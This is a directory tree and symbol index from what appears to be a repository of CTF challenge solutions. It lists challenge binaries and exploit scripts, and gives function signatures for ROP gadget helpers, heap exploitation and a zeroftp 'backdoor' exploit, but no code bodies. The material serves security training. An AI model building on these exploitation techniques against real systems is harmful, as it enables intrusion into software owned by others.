│   │   │       │   ├── plaintext_976
│   │   │       │   ├── plaintext_977
│   │   │       │   ├── plaintext_978
│   │   │       │   ├── plaintext_979
│   │   │       │   ├── plaintext_980
│   │   │       │   ├── plaintext_981
│   │   │       │   ├── plaintext_982
│   │   │       │   ├── plaintext_983
│   │   │       │   ├── plaintext_984
│   │   │       │   ├── plaintext_985
│   │   │       │   ├── plaintext_986
│   │   │       │   ├── plaintext_987
│   │   │       │   ├── plaintext_988
│   │   │       │   ├── plaintext_989
│   │   │       │   ├── plaintext_990
│   │   │       │   ├── plaintext_991
│   │   │       │   ├── plaintext_992
│   │   │       │   ├── plaintext_993
│   │   │       │   ├── plaintext_994
│   │   │       │   ├── plaintext_995
│   │   │       │   ├── plaintext_996
│   │   │       │   ├── plaintext_997
│   │   │       │   ├── plaintext_998
│   │   │       │   └── plaintext_999
│   │   │       ├── get_flag.py
│   │   │       └── solve.sage
│   │   ├── pwn/
│   │   │   ├── Junior-Stringmaster2/
│   │   │   │   ├── solve.py
│   │   │   │   ├── stringmaster2
│   │   │   │   └── stringmaster2.cpp
│   │   │   └── collection/
│   │   │       └── exp.py
│   │   └── re/
│   │       └── box_of_blink/
│   │           ├── blink2.csv
│   │           └── exp.py
│   ├── bctf-2018/
│   │   ├── blockchain/
│   │   │   └── fake3d/
│   │   │       └── fake.js
│   │   └── pwn/
│   │       └── easiest/
│   │           ├── easiest
│   │           └── exp.py
│   ├── codegate-quals-2018/
│   │   ├── pwn/
│   │   │   ├── BaskinRobins31/
│   │   │   │   ├── BaskinRobins31
│   │   │   │   └── solve_baskinrobins31.py
│   │   │   ├── gamebox1/
│   │   │   │   ├── _7amebox_patched.py
│   │   │   │   ├── d9dbb37c3a555979f021e9a60908ee6a
│   │   │   │   ├── memo.txt
│   │   │   │   └── solve.py
│   │   │   ├── marimo/
│   │   │   │   ├── 7ae39f9f3910ac6928dffc35a2b25548
│   │   │   │   └── solve.py
│   │   │   └── melong/
│   │   │       ├── 3cba1eb7a5bcd42097c3c3b6ff74c3a0
│   │   │       └── solve.py
│   │   └── web/
│   │       ├── SimpleCMS/
│   │       │   └── index.md
│   │       └── rbSql/
│   │           ├── dbconn.php
│   │           ├── exp.py
│   │           └── index.php
│   ├── csaw-quals-2018/
│   │   ├── ppc/
│   │   │   └── bin_t/
│   │   │       └── exp.py
│   │   ├── pwn/
│   │   │   ├── alien/
│   │   │   │   ├── aliensVSsamurais
│   │   │   │   └── exp.py
│   │   │   ├── doubletrouble/
│   │   │   │   ├── doubletrouble
│   │   │   │   ├── exp.py
│   │   │   │   └── libc.so.6
│   │   │   └── plc/
│   │   │       └── exp.py
│   │   └── web/
│   │       ├── hackermovie/
│   │       │   └── README.md
│   │       ├── ldab/
│   │       │   └── README.md
│   │       ├── novuln/
│   │       │   └── README.md
│   │       └── sso/
│   │           └── README.md
│   ├── ctfzone-quals-2018/
│   │   ├── crypto/
│   │   │   └── SignatureServer/
│   │   │       ├── exp.py
│   │   │       ├── exp2.py
│   │   │       └── server.py
│   │   └── ppc/
│   │       └── PlusMinus/
│   │           └── exp.py
│   ├── defcon-quals-2018/
│   │   └── pwn/
│   │       └── babypwn/
│   │           ├── baby.c
│   │           └── solve_babypwn_ref.py
│   ├── dragonctf-2018/
│   │   ├── crypto/
│   │   │   └── aes/
│   │   │       ├── exp.py
│   │   │       ├── exp12.py
│   │   │       ├── exp2.py
│   │   │       ├── exp3.py
│   │   │       ├── exp43.py
│   │   │       ├── flag
│   │   │       ├── secret.py
│   │   │       └── server.py
│   │   └── web/
│   │       └── Nodepad/
│   │           ├── README.md
│   │           ├── cli.py
│   │           └── notes.js
│   ├── google-2018/
│   │   └── web/
│   │       └── gcalc/
│   │           ├── README.md
│   │           └── app.js
│   ├── hacklu-2018/
│   │   ├── crypto/
│   │   │   └── relate/
│   │   │       └── exp.py
│   │   ├── pwn/
│   │   │   ├── babyexploit/
│   │   │   │   ├── chall
│   │   │   │   └── exp.py
│   │   │   ├── heap_heaven_2/
│   │   │   │   ├── exp.py
│   │   │   │   ├── heap_heaven_2
│   │   │   │   └── libc.so.6
│   │   │   ├── heap_hell/
│   │   │   │   ├── exp.py
│   │   │   │   ├── heap_hell
│   │   │   │   └── libc.so.6
│   │   │   ├── heap_hell_2/
│   │   │   │   ├── exp.py
│   │   │   │   ├── heap_hell_2
│   │   │   │   └── libc.so.6
│   │   │   └── slot_machine/
│   │   │       ├── exp1.py
│   │   │       ├── exp2.py
│   │   │       ├── libc.so.6
│   │   │       └── slot_machine
│   │   └── web/
│   │       └── BabyPHP/
│   │           ├── README.md
│   │           └── index.php
│   ├── hctf-quals-2018/
│   │   ├── blockchain/
│   │   │   └── ez2win/
│   │   │       └── exp.md
│   │   ├── crypto/
│   │   │   ├── xor_game/
│   │   │   │   ├── challenge.py
│   │   │   │   ├── cipher.txt
│   │   │   │   └── exp.py
│   │   │   └── xor_rsa/
│   │   │       ├── rsa.py
│   │   │       ├── short.sage
│   │   │       └── short.sage.py
│   │   └── misc/
│   │       └── freqgame/
│   │           ├── freqexp.py
│   │           └── freqgame.py
│   ├── hitcon-2018/
│   │   ├── crypto/
│   │   │   └── key/
│   │   │       ├── exp.py
│   │   │       ├── exp2.py
│   │   │       ├── exp3.py
│   │   │       ├── flag
│   │   │       ├── server.py
│   │   │       └── test.py
│   │   ├── misc/
│   │   │   └── ev3scanner/
│   │   │       ├── ev3_scanner_record.pklg
│   │   │       └── test.py
│   │   └── pwn/
│   │       ├── abyss/
│   │       │   ├── README.md
│   │       │   ├── exp1.py
│   │       │   ├── exp2.py
│   │       │   ├── exp3.py
│   │       │   ├── flag
│   │       │   ├── flag2
│   │       │   ├── flag3-md5-of-content
│   │       │   ├── hypervisor.elf
│   │       │   ├── ld.so.2
│   │       │   └── libc.so.6
│   │       ├── baby_tcache/
│   │       │   ├── baby_tcache
│   │       │   ├── exp.py
│   │       │   └── libc.so.6
│   │       └── children_tcache/
│   │           ├── children_tcache
│   │           ├── exp.py
│   │           └── libc.so.6
│   ├── meepwn-final-2018/
│   │   ├── crypto/
│   │   │   └── esor/
│   │   │       ├── exp.py
│   │   │       ├── exp2.py
│   │   │       └── src.py
│   │   └── pwn/
│   │       ├── babyarm/
│   │       │   ├── babyarm
│   │       │   ├── exp.py
│   │       │   ├── gdb.sh
│   │       │   ├── libc.so.6
│   │       │   └── run.sh
│   │       ├── emu8/
│   │       │   ├── bf
│   │       │   ├── emu8
│   │       │   ├── exp.py
│   │       │   └── libc.so.6
│   │       └── jump/
│   │           ├── exp.py
│   │           └── jump
│   ├── meepwn-quals-2018/
│   │   ├── crypto/
│   │   │   ├── bazik/
│   │   │   │   ├── exp.py
│   │   │   │   ├── key.pub
│   │   │   │   ├── solve.py
│   │   │   │   └── solve.sage
│   │   │   ├── bitbitbit/
│   │   │   │   ├── README.md
│   │   │   │   ├── midbit.py
│   │   │   │   └── solve.sage
│   │   │   ├── esor/
│   │   │   │   ├── exp.py
│   │   │   │   └── server.py
│   │   │   ├── old_school/
│   │   │   │   ├── README.md
│   │   │   │   ├── part_1.txt
│   │   │   │   ├── part_2.txt
│   │   │   │   └── part_3.txt
│   │   │   └── still_old_school/
│   │   │       ├── README.md
│   │   │       ├── aes_server.py
│   │   │       ├── mid.py
│   │   │       └── sock.py
│   │   └── web/
│   │       └── grandline/
│   │           ├── README.md
│   │           └── index.php
│   ├── n1ctf-2018/
│   │   ├── crypto/
│   │   │   ├── baby_N1ES/
│   │   │   │   ├── N1ES.py
│   │   │   │   ├── README.md
│   │   │   │   └── challenge.py
│   │   │   └── easy_fs/
│   │   │       ├── README.md
│   │   │       └── easy_fs
│   │   ├── misc/
│   │   │   └── math_gath/
│   │   │       ├── debug.txt
│   │   │       └── mathGame.py
│   │   ├── pwn/
│   │   │   ├── beeper/
│   │   │   │   ├── beeper
│   │   │   │   └── solve.py
│   │   │   ├── network_card/
│   │   │   │   └── solve.c
│   │   │   ├── null/
│   │   │   │   └── solve.py
│   │   │   └── vote/
│   │   │       ├── solve.py
│   │   │       ├── solve2.py
│   │   │       └── vote
│   │   └── re/
│   │       ├── baby_neural_network/
│   │       │   ├── README.md
│   │       │   └── baby_neural_network
│   │       └── lfi/
│   │           ├── README.md
│   │           └── decompiled.lua
│   ├── pico-2018/
│   │   └── pwn/
│   │       └── cake/
│   │           ├── cake
│   │           └── solve_cake.py
│   ├── plaidctf-2018/
│   │   └── pwn/
│   │       └── shop/
│   │           ├── shop
│   │           └── solve_shop.py
│   ├── seccon-quals-2018/
│   │   └── pwn/
│   │       ├── q-escape/
│   │       │   └── solve.c
│   │       └── simplememo/
│   │           ├── exp.py
│   │           ├── libc.so.6
│   │           ├── memo
│   │           └── sc.s
│   ├── starctf-2018/
│   │   ├── pwn/
│   │   │   ├── babystack/
│   │   │   │   └── solve.py
│   │   │   ├── calc/
│   │   │   │   └── solve.py
│   │   │   ├── heap/
│   │   │   │   └── solve.py
│   │   │   ├── note/
│   │   │   │   ├── libc.so.6
│   │   │   │   ├── note
│   │   │   │   └── solve_note_ref.py
│   │   │   ├── primepwn/
│   │   │   │   └── solve.py
│   │   │   ├── stackoverflow/
│   │   │   │   └── solve.py
│   │   │   ├── url/
│   │   │   │   ├── c1c1d680-836d-4b96-8648-772ee5cd81b7.urlparse-47e10be0295a1c6c479a260239f5e0b1fd0c9696
│   │   │   │   └── solve.py
│   │   │   └── url2/
│   │   │       ├── cb57c387-959a-4dd1-845c-48701eabc608.urlparse2-123d085f1337ff85aaff95b1c23e5cabedc6e2cb
│   │   │       ├── libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253
│   │   │       └── solve.py
│   │   └── re/
│   │       ├── BabyDroid/
│   │       │   ├── README.md
│   │       │   └── baby.apk
│   │       └── wasm/
│   │           ├── README.md
│   │           ├── check.wasm
│   │           ├── solve.py
│   │           └── tea.py
│   ├── twctf-2018/
│   │   └── crypto/
│   │       ├── mixed/
│   │       │   ├── exp.py
│   │       │   ├── exp2.py
│   │       │   ├── lsbtest.py
│   │       │   ├── lsbtest2.py
│   │       │   ├── lsbtest3.py
│   │       │   ├── mt19937predictor.py
│   │       │   ├── server.py
│   │       │   └── testmt.py
│   │       └── scs7/
│   │           └── exp.py
│   ├── uiuctf-2018/
│   │   └── pwn/
│   │       └── how2heap/
│   │           ├── how2heap
│   │           └── solve_how2heap.py
│   ├── wctf-2018/
│   │   ├── crypto/
│   │   │   ├── rsa/
│   │   │   │   ├── README.md
│   │   │   │   ├── cinv.py
│   │   │   │   └── wmap.cpp
│   │   │   └── sgx_encrypt/
│   │   │       ├── exp.py
│   │   │       └── exp2.py
│   │   └── pwn/
│   │       └── klist/
│   │           └── solve.c
│   └── xnuca-quals-2018/
│       ├── crypto/
│       │   ├── unconditional_security/
│       │   │   ├── solve.py
│       │   │   └── unconditional_security
│       │   └── warmup/
│       │       ├── Buggy_Server.py
│       │       ├── exp.py
│       │       └── sniffed.pcapng
│       ├── pwn/
│       │   ├── 0gadget/
│       │   │   ├── 0gadget
│       │   │   └── solve_0gadget.py
│       │   ├── gets/
│       │   │   ├── exp.py
│       │   │   └── gets
│       │   ├── revenge/
│       │   │   ├── exp.py
│       │   │   └── revenge
│       │   ├── secretcenter/
│       │   │   ├── exp.py
│       │   │   ├── hint.txt
│       │   │   ├── libc.so.6
│       │   │   ├── secret.txt
│       │   │   └── secret_center
│       │   ├── ssd/
│       │   │   └── solve.c
│       │   └── steak/
│       │       ├── exp.py
│       │       └── steak
│       └── re/
│           ├── code_interpreter/
│           │   ├── Code_Interpreter
│           │   ├── code
│           │   └── emu.py
│           └── renn/
│               ├── checkpoint
│               ├── exp.py
│               ├── model.data-00000-of-00001
│               ├── model.index
│               ├── model.meta
│               └── renn.py
├── 2022/
│   └── darksol/
│       ├── README.md
│       ├── solve1/
│       │   ├── exploit.py
│       │   ├── solana_helpers.py
│       │   └── solution/
│       │       ├── Makefile
│       │       ├── dist/
│       │       │   ├── solution/
│       │       │   │   └── solution.o
│       │       │   └── solution-keypair.json
│       │       └── src/
│       │           └── solution/
│       │               └── solution.c
│       ├── solve2/
│       │   ├── exploit.py
│       │   ├── solana_helpers.py
│       │   └── solution/
│       │       ├── Makefile
│       │       ├── dist/
│       │       │   ├── solution/
│       │       │   │   └── solution.o
│       │       │   └── solution-keypair.json
│       │       └── src/
│       │           └── solution/
│       │               └── solution.c
│       ├── solve3/
│       │   ├── exploit.py
│       │   ├── solana_helpers.py
│       │   └── solution/
│       │       ├── Makefile
│       │       ├── dist/
│       │       │   ├── solution/
│       │       │   │   └── solution.o
│       │       │   └── solution-keypair.json
│       │       └── src/
│       │           └── solution/
│       │               └── solution.c
│       └── source/
│           ├── darksols/
│           │   ├── .dockerignore
│           │   ├── Cargo.toml
│           │   ├── Dockerfile
│           │   ├── spl-token/
│           │   │   ├── .cargo-checksum.json
│           │   │   ├── Cargo.toml
│           │   │   ├── Xargo.toml
│           │   │   ├── inc/
│           │   │   │   └── token.h
│           │   │   ├── program-id.md
│           │   │   └── src/
│           │   │       ├── entrypoint.rs
│           │   │       ├── error.rs
│           │   │       ├── instruction.rs
│           │   │       ├── lib.rs
│           │   │       ├── native_mint.rs
│           │   │       ├── processor.rs
│           │   │       └── state.rs
│           │   └── src/
│           │       └── main.rs
│           ├── evil-contract/
│           │   ├── Makefile
│           │   └── src/
│           │       ├── evil-contract/
│           │       │   └── evil-contract.c
│           │       └── shared/
│           │           ├── clock.h
│           │           ├── program.h
│           │           └── test.h
│           └── programs/
│               ├── Makefile
│               └── src/
│                   ├── darksols/
│                   │   └── darksols.c
│                   └── shared/
│                       ├── clock.h
│                       ├── program.h
│                       └── test.h
├── LICENSE
├── README.md
└── todo.md
Download .txt
SYMBOL INDEX (1094 symbols across 153 files)

FILE: 2017/0ctf-quals-2017/StarCraft/StarCraft_remote.py
  function output (line 12) | def output(name, data):
  function lmov (line 15) | def lmov(data):
  function exploit (line 22) | def exploit(ip):

FILE: 2017/34c3-2017/web/blog/cli.py
  class Blog (line 5) | class Blog(Saker):
    method __init__ (line 7) | def __init__(self, url=""):
    method getToken (line 10) | def getToken(self):
    method signup (line 15) | def signup(self, name, pwd="123asdzxc"):
    method login (line 26) | def login(self, name, pwd="123asdzxc"):
    method publish (line 36) | def publish(self, title, content):
    method feed (line 47) | def feed(self, ftype="json", callback=""):
    method flag1 (line 55) | def flag1(self):
    method flagapi (line 58) | def flagapi(self):

FILE: 2017/blizzard-2017/strng/solve.c
  function die (line 18) | void die(const char* msg) {
  function hexdump (line 23) | void hexdump(uint8_t *mem, size_t len) {
  function pmio_write (line 40) | void pmio_write(uint64_t addr, uint32_t value) {
  function pmio_read (line 44) | uint32_t pmio_read(uint64_t addr) {
  function main (line 48) | int main(int argc, char const* argv[]) {

FILE: 2017/csaw-quals-2017/pwn/auir/auir.py
  function add_chunk (line 35) | def add_chunk(content,size):
  function del_chunk (line 43) | def del_chunk(idx):
  function fix_chunk (line 49) | def fix_chunk(idx,content,size):
  function see_chunk (line 59) | def see_chunk(idx):

FILE: 2017/hacklu-2017/pwn/mult-o-flow/solve_mult-o-flow.py
  function main (line 6) | def main():

FILE: 2018/0ctf-final-2018/pwn/blackhole2/solve_blackhole2.py
  function proof_of_work (line 12) | def proof_of_work():
  function ret2csu (line 22) | def ret2csu(rbx,rbp,r12,r13_rdx,r14_rsi,r15_rdi):
  function calc (line 26) | def calc(rbp,ret):
  function pop_rdi (line 31) | def pop_rdi(rdi):
  function pop_rsi_r15 (line 33) | def pop_rsi_r15(rsi,r15):
  function leave_ret (line 35) | def leave_ret():
  function pop_rbp (line 37) | def pop_rbp(rbp):
  function pop_rbp (line 39) | def pop_rbp():
  function pop_rsp_r13_r14_r15 (line 41) | def pop_rsp_r13_r14_r15(rsp,r13,r14,r15):
  function infinite_loop (line 43) | def infinite_loop():

FILE: 2018/0ctf-final-2018/pwn/zeroftp/crc32.c
  function crc32_compute (line 43) | unsigned long crc32_compute(unsigned long inCrc32, const void *buf, size...

FILE: 2018/0ctf-final-2018/pwn/zeroftp/enc_sock.c
  function zero_error (line 21) | void zero_error(const char*s)
  function init_rc4 (line 27) | void init_rc4()
  function crypt (line 46) | void crypt(uc *data, size_t len)
  function init_dh (line 62) | void init_dh()
  function zero_send (line 108) | void zero_send(void* buf, size_t len)
  function zero_recv (line 129) | void zero_recv(void* buf, size_t len)

FILE: 2018/0ctf-final-2018/pwn/zeroftp/enc_sock.h
  type uc (line 15) | typedef unsigned char uc;

FILE: 2018/0ctf-final-2018/pwn/zeroftp/exp.py
  function attach (line 19) | def attach(addr):
  function zero_pack_bool (line 32) | def zero_pack_bool(data):
  function zero_unpack_bool (line 39) | def zero_unpack_bool(payload):
  function zero_pack_string (line 49) | def zero_pack_string(data):
  function zero_unpack_string (line 57) | def zero_unpack_string(payload):
  function zero_pack_raw (line 67) | def zero_pack_raw(data):
  function zero_unpack_raw (line 85) | def zero_unpack_raw(payload):
  function zero_pack_int (line 102) | def zero_pack_int(data, endian):
  function zero_unpack_int (line 114) | def zero_unpack_int(payload):
  function zero_pack_list (line 128) | def zero_pack_list(data, list_len):
  function zero_unpack_list (line 147) | def zero_unpack_list(payload):
  function zero_pack (line 176) | def zero_pack(data, types):
  function zero_unpack (line 189) | def zero_unpack(payload):
  function zero_recv (line 211) | def zero_recv():
  function zero_send (line 224) | def zero_send(data):
  function zeroftp_login (line 232) | def zeroftp_login(username, password):
  function zeroftp_ls (line 242) | def zeroftp_ls(directory):
  function zeroftp_cd (line 250) | def zeroftp_cd(directory):
  function zeroftp_mkdir (line 257) | def zeroftp_mkdir(directory):
  function zeroftp_rmdir (line 264) | def zeroftp_rmdir(directory):
  function zeroftp_rdfile (line 271) | def zeroftp_rdfile(filename):
  function zeroftp_wrfile (line 278) | def zeroftp_wrfile(filename, content):
  function zeroftp_rmfile (line 286) | def zeroftp_rmfile(filename):
  function zeroftp_fileinfo (line 293) | def zeroftp_fileinfo(pathname, arg2=-1, fileinfo_elem=None):
  function zeroftp_setfileinfo (line 304) | def zeroftp_setfileinfo(pathname, fileinfo_elem, arg3):
  function zeroftp_backdoor (line 316) | def zeroftp_backdoor(filename):
  function zeroftp_exit (line 324) | def zeroftp_exit():
  function test (line 328) | def test():
  function re1 (line 361) | def re1():
  function hijack (line 369) | def hijack(addr):
  function leak (line 386) | def leak():
  function exploit (line 415) | def exploit():

FILE: 2018/0ctf-final-2018/pwn/zeroftp/md5.c
  function to_bytes (line 39) | void to_bytes(uint32_t val, uint8_t *bytes)
  function to_int32 (line 47) | uint32_t to_int32(const uint8_t *bytes)
  function md5 (line 55) | void md5(const uint8_t *initial_msg, size_t initial_len, uint8_t *digest) {

FILE: 2018/0ctf-final-2018/pwn/zeroftp/release/exp.py
  function attach (line 30) | def attach(addr):
  function zero_pack_bool (line 43) | def zero_pack_bool(data):
  function zero_unpack_bool (line 50) | def zero_unpack_bool(payload):
  function zero_pack_string (line 60) | def zero_pack_string(data):
  function zero_unpack_string (line 68) | def zero_unpack_string(payload):
  function zero_pack_raw (line 78) | def zero_pack_raw(data):
  function zero_unpack_raw (line 96) | def zero_unpack_raw(payload):
  function zero_pack_int (line 113) | def zero_pack_int(data, endian):
  function zero_unpack_int (line 125) | def zero_unpack_int(payload):
  function zero_pack_list (line 139) | def zero_pack_list(data, list_len):
  function zero_unpack_list (line 158) | def zero_unpack_list(payload):
  function zero_pack (line 187) | def zero_pack(data, types):
  function zero_unpack (line 200) | def zero_unpack(payload):
  function zero_recv (line 222) | def zero_recv():
  function zero_send (line 235) | def zero_send(data):
  function zeroftp_login (line 243) | def zeroftp_login(username, password):
  function zeroftp_ls (line 253) | def zeroftp_ls(directory):
  function zeroftp_cd (line 261) | def zeroftp_cd(directory):
  function zeroftp_mkdir (line 268) | def zeroftp_mkdir(directory):
  function zeroftp_rmdir (line 275) | def zeroftp_rmdir(directory):
  function zeroftp_rdfile (line 282) | def zeroftp_rdfile(filename):
  function zeroftp_wrfile (line 289) | def zeroftp_wrfile(filename, content):
  function zeroftp_rmfile (line 297) | def zeroftp_rmfile(filename):
  function zeroftp_fileinfo (line 304) | def zeroftp_fileinfo(pathname, arg2=-1, fileinfo_elem=None):
  function zeroftp_setfileinfo (line 315) | def zeroftp_setfileinfo(pathname, fileinfo_elem, arg3):
  function zeroftp_backdoor (line 327) | def zeroftp_backdoor(filename):
  function zeroftp_exit (line 335) | def zeroftp_exit():
  function test (line 339) | def test():
  function re1 (line 372) | def re1():
  function hijack (line 385) | def hijack(addr):
  function leak (line 402) | def leak():
  function exploit (line 431) | def exploit():

FILE: 2018/0ctf-final-2018/pwn/zeroftp/utils.py
  function init_sock (line 15) | def init_sock(ip, port):
  function init_enc (line 20) | def init_enc():
  function send (line 46) | def send(m):
  function recv (line 53) | def recv(length):
  function zero_pack_bool (line 74) | def zero_pack_bool(data):
  function zero_unpack_bool (line 81) | def zero_unpack_bool(payload):
  function zero_pack_string (line 91) | def zero_pack_string(data):
  function zero_unpack_string (line 99) | def zero_unpack_string(payload):
  function zero_pack_raw (line 109) | def zero_pack_raw(data):
  function zero_unpack_raw (line 127) | def zero_unpack_raw(payload):
  function zero_pack_int (line 144) | def zero_pack_int(data, endian):
  function zero_unpack_int (line 154) | def zero_unpack_int(payload):
  function zero_pack_list (line 168) | def zero_pack_list(data, list_len):
  function zero_unpack_list (line 187) | def zero_unpack_list(payload):
  function zero_pack (line 214) | def zero_pack(data, types):
  function zero_unpack (line 227) | def zero_unpack(payload):
  function zero_recv (line 249) | def zero_recv():
  function zero_send (line 261) | def zero_send(data):
  function zeroftp_login (line 269) | def zeroftp_login(username, password):
  function zeroftp_ls (line 279) | def zeroftp_ls(directory):
  function zeroftp_cd (line 286) | def zeroftp_cd(directory):
  function zeroftp_mkdir (line 293) | def zeroftp_mkdir(directory):
  function zeroftp_rmdir (line 301) | def zeroftp_rmdir(directory):
  function zeroftp_rdfile (line 309) | def zeroftp_rdfile(filename):
  function zeroftp_wrfile (line 316) | def zeroftp_wrfile(filename, content):
  function zeroftp_rmfile (line 324) | def zeroftp_rmfile():
  function zeroftp_fileinfo (line 328) | def zeroftp_fileinfo(pathname, fileinfo_elem):
  function zeroftp_setfileinfo (line 336) | def zeroftp_setfileinfo(pathname, fileinfo_elem, arg3):
  function zeroftp_backdoor (line 350) | def zeroftp_backdoor():
  function zeroftp_exit (line 358) | def zeroftp_exit():
  function test (line 361) | def test():

FILE: 2018/0ctf-final-2018/pwn/zeroftp/zero_pack.c
  function zero_unpack_bool (line 47) | int zero_unpack_bool(uint8_t *in, uint8_t **out_p, zero_basic_t **p_zero...
  function zero_unpack_string (line 78) | int zero_unpack_string(uint8_t *in, uint8_t **out_p, zero_basic_t **p_ze...
  function zero_unpack_raw (line 110) | int zero_unpack_raw(uint8_t *in, uint8_t **out_p, zero_basic_t **p_zero_...
  function zero_unpack_int (line 179) | int zero_unpack_int(uint8_t *in, uint8_t **out_p, zero_basic_t **p_zero_...
  function zero_pack_bool (line 334) | static inline int zero_pack_bool(zero_basic_t *zero_basic, uint8_t *in, ...
  function zero_pack_string (line 346) | __attribute__((always_inline))
  function zero_pack_raw (line 363) | __attribute__((always_inline))
  function zero_pack_int (line 400) | __attribute__((always_inline))
  function zero_pack_list (line 434) | __attribute__((always_inline))
  function zero_pack_bool_len (line 481) | __attribute__((always_inline))
  function zero_pack_string_len (line 520) | size_t zero_pack_string_len(zero_basic_t *zero_basic) {
  function zero_pack_raw_len (line 524) | size_t zero_pack_raw_len(zero_basic_t *zero_basic) {
  function zero_pack_int_len (line 538) | size_t zero_pack_int_len(zero_basic_t *zero_basic) {
  function zero_pack_list_len (line 542) | size_t zero_pack_list_len(zero_basic_t *zero_basic) {
  function zero_pack_len (line 550) | size_t zero_pack_len(zero_basic_t *zero_basic) {
  function zero_pack (line 577) | int zero_pack(zero_basic_t *zero_basic, uint8_t *in, uint8_t **out_p) {
  function zero_basic_bool_free (line 604) | void zero_basic_bool_free(zero_basic_t *zero_basic) {
  function zero_basic_string_free (line 609) | void zero_basic_string_free(zero_basic_t *zero_basic) {
  function zero_basic_raw_free (line 614) | void zero_basic_raw_free(zero_basic_t *zero_basic) {
  function zero_basic_int_free (line 619) | void zero_basic_int_free(zero_basic_t *zero_basic) {
  function zero_basic_list_free (line 624) | void zero_basic_list_free(zero_basic_t *zero_basic) {
  function zero_basic_free (line 633) | void zero_basic_free(zero_basic_t *zero_basic) {
  function zero_bool_new (line 659) | void zero_bool_new(zero_basic_t **zero_basic_p, uint8_t val) {
  function zero_string_new (line 671) | void zero_string_new(zero_basic_t **zero_basic_p, char *str) {
  function zero_raw_new (line 683) | void zero_raw_new(zero_basic_t **zero_basic_p, uint8_t *raw, size_t len) {
  function zero_int_new (line 695) | void zero_int_new(zero_basic_t **zero_basic_p, uint64_t val, uint8_t end...
  function zero_list_new (line 720) | void zero_list_new(zero_basic_t **zero_basic_p, zero_basic_t **list) {
  function zero_bool_test (line 745) | static void zero_bool_test() {
  function zero_string_test (line 760) | static void zero_string_test() {
  function zero_short_raw_test (line 775) | static void zero_short_raw_test() {
  function zero_long_raw_test (line 790) | static void zero_long_raw_test() {
  function zero_int_little_test (line 809) | static void zero_int_little_test() {
  function zero_int_big_test (line 824) | static void zero_int_big_test() {
  function zero_list_test (line 839) | static void zero_list_test() {
  function test_zero_pack (line 876) | void test_zero_pack() {
  function zero_basic_dump (line 889) | void zero_basic_dump(zero_basic_t *target, size_t size) {

FILE: 2018/0ctf-final-2018/pwn/zeroftp/zero_pack.h
  type zero_basic_type (line 7) | enum zero_basic_type {
  type zero_info_t (line 15) | typedef uint8_t zero_info_t ;
  type zero_types_t (line 16) | typedef uint8_t zero_types_t ;
  type zero_basic_t (line 18) | typedef struct zero_basic_t {
  type result_t (line 24) | typedef int32_t result_t;
  type RETURN_RESULT (line 26) | enum RETURN_RESULT {

FILE: 2018/0ctf-final-2018/pwn/zeroftp/zero_proto.h
  type zeroftp_cmd_type (line 7) | enum zeroftp_cmd_type {

FILE: 2018/0ctf-final-2018/pwn/zeroftp/zero_utils.c
  function zero_hexdump (line 4) | void zero_hexdump(unsigned char *mem, int len) {

FILE: 2018/0ctf-final-2018/pwn/zeroftp/zerofs.c
  function _create_block (line 67) | static int _create_block(void) {
  function _free_block (line 86) | static int _free_block(int blockId) {
  function _memory_truncate (line 100) | static long int _memory_truncate(long int blockId, off_t length, long in...
  function _memory_write (line 138) | static ssize_t _memory_write(long int blockId, const void *buf, long int...
  function _memory_read (line 158) | static ssize_t _memory_read(long int blockId, void *buf, long int st, lo...
  function _create_inode (line 176) | static int _create_inode(void) {
  function _free_inode (line 189) | static int _free_inode(long int inumber) {
  function _unlink_fnode (line 233) | static inline void _unlink_fnode(fnode_t *fnode) {
  function fnode_t (line 266) | static fnode_t *_resolve_path(const char *pathname, int padir) {
  function IOFile (line 326) | static IOFile *_create_IOFile(fnode_t *fnode, int flags) {
  function _init_disk (line 337) | static void _init_disk(zerofs_disk *disk) {
  function _insert_IOFile (line 368) | static int _insert_IOFile(IOFile *io_file) {
  function fnode_t (line 388) | static fnode_t *_create_fnode(file_t type, const char *name, perm_t perm...
  function zerofs_initfs (line 420) | ssize_t zerofs_initfs(const char *username) {
  function zerofs_open (line 459) | int zerofs_open(const char *pathname, int flags){
  function zerofs_close (line 507) | int zerofs_close(int fd) {
  function zerofs_chdir (line 521) | int zerofs_chdir(const char *pathname) {
  function zerofs_mkdir (line 536) | int zerofs_mkdir(const char *pathname, int flags) {
  function zerofs_rmdir (line 569) | int zerofs_rmdir(const char *pathname) {
  function off_t (line 598) | off_t zerofs_lseek(int fd, off_t offset, int whence) {
  function zerofs_elemset (line 670) | int zerofs_elemset(const char *pathname, elem_t elem, value_t value) {
  function value_t (line 732) | value_t zerofs_elemget(const char *pathname, elem_t elem) {
  function zerofs_link (line 777) | int zerofs_link(const char *oldpath, const char *newpath) {
  function zerofs_unlink (line 812) | int zerofs_unlink(const char *pathname) {
  function zerofs_read (line 844) | ssize_t zerofs_read(int fd, void *buf, size_t count) {
  function zerofs_truncate (line 869) | int zerofs_truncate(const char *pathname, off_t length) {
  function zerofs_write (line 894) | ssize_t zerofs_write(int fd, const void *buf, size_t count) {
  function main (line 931) | int main() {

FILE: 2018/0ctf-final-2018/pwn/zeroftp/zerofs.h
  type file_t (line 24) | typedef enum {
  type perm_t (line 29) | typedef enum {
  type elem_t (line 35) | typedef enum {
  type value_t (line 49) | typedef union {
  type inode_t (line 58) | typedef struct inode_t {
  type block_t (line 68) | typedef struct {
  type zerofs_disk (line 74) | typedef struct {
  type fnode_t (line 81) | typedef struct fnode_t {
  type IOFile (line 96) | typedef struct IOFile {
  type zerofs_state (line 102) | typedef struct {

FILE: 2018/0ctf-final-2018/pwn/zeroftp/zeroftp.c
  function is_regular_file (line 40) | static int is_regular_file(const char *path) {
  function zeroftp_send (line 47) | void zeroftp_send(uint8_t *packet, size_t data_len) {
  function zeroftp_result_bool (line 65) | void zeroftp_result_bool(int result) {
  function zeroftp_result_int (line 87) | void zeroftp_result_int(uint64_t val) {
  function zeroftp_result_raw (line 108) | void zeroftp_result_raw(uint8_t *raw, uint8_t raw_size) {
  function zeroftp_result_string (line 128) | void zeroftp_result_string(uint8_t *str) {
  function zeroftp_result_list (line 148) | void zeroftp_result_list(zero_basic_t **list) {
  function zeroftp_cmd_dispatcher (line 170) | void zeroftp_cmd_dispatcher(uint8_t *cmd, uint32_t cmd_len) {
  function zeroftp_main (line 742) | void zeroftp_main(uint8_t *packet) {
  function zeroftp_main (line 768) | void zeroftp_main() {
  function zeroftp_loop (line 810) | void zeroftp_loop() {
  function zeroftp_test (line 1108) | void zeroftp_test() {
  function sigalrm_fn (line 1155) | void sigalrm_fn(int sig)
